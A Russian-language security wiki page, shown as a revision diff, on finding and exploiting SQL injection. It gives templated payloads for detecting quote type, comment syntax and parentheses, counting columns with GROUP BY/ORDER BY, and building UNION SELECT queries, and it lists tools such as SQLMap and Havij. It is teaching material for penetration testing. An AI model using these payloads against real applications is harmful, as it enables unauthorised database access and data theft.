Sqlinj — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Обратить внимание)
м (UNION-Based)
Строка 78: Строка 78:
 
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
 
{параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
 
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
 
{параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
 +
</syntaxhighlight>
 +
 +
=====Итоговый запрос=====
 +
 +
<syntaxhighlight lang="sql" line="1" style="overflow-x:scroll" >
 +
{параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Строка 89: Строка 95:
 
WHERE ROWNUM=1
 
WHERE ROWNUM=1
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
 +
Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.
  
 
====Error-Based====
 
====Error-Based====

Версия 07:58, 19 декабря 2018


Вводная

Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.

Как задетектить

SELECT

UNION-Based

Определение типа кавычки

1. Найти точку ввода данных

2. Найти параметр, который возвращает какое-либо из значений.

3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)

 1  
 2 {параметр} aNd 1=1
 3 {параметр}	aNd	1=1
 4 {параметр}/**/aNd/**/1=1
 5 {параметр} -- {\n} aNd 1=1
 6 
 7 {параметр}' aNd '1'='1
 8 {параметр}'	aNd	'1'='1
 9 {параметр}'/**/aNd/**/'1'='1
10 {параметр}' -- {\n} aNd '1'='1
11 
12 {параметр}" aNd "1"="1
13 {параметр}"	aNd	"1"="1
14 {параметр}"/**/aNd/**/"1"="1
15 {параметр}" -- {\n} aNd "1"="1

(Если сработал первый пример, то {кавычка}==={пустое место} :)


Знак комментария и количкество скобок

После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):

1 {параметр}{кавычка} -- 1
2 {параметр}{кавычка}) -- 1
3 {параметр}{кавычка})) -- 1
4 {параметр}{кавычка})...) -- 1
5 
6 {параметр}{кавычка} # 1
7 {параметр}{кавычка}) # 1
8 {параметр}{кавычка})) # 1
9 {параметр}{кавычка})...) # 1
Подбор количества колонок
GROUP BY

Есть у MySQL,(добавить).

Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).

1 {параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}


ORDER BY

Есть у MySQL,(добавить).

Аналогично GROUP BY.

Bruteforce
1 {параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
2 {параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
3 {параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}
Итоговый запрос
1 {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}
Обратить внимание

В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).

1 LIMIT 1
2 LIMIT 0,1
3 WHERE ROWNUM=1


Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.

Error-Based

Boolean-Based

Time-Based

auth

INSERT

DELETE

UPDATE

EXEC

Как проэксплуатировать

Общее

MySQL

OracleDB

PostgreSQL

SQLite3

IBM DB2

Ссылки

Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt


 Мануал на Рдот - один из лучших.

https://rdot.org/forum/showthread.php?t=124


TOOLS 

SQLMap (crossplatform)

Havij (win)

http://sqlninja.sourceforge.net/sqlninja-howto.html

https://code.google.com/p/bsqlbf-v2/

https://github.com/Neohapsis/bbqsql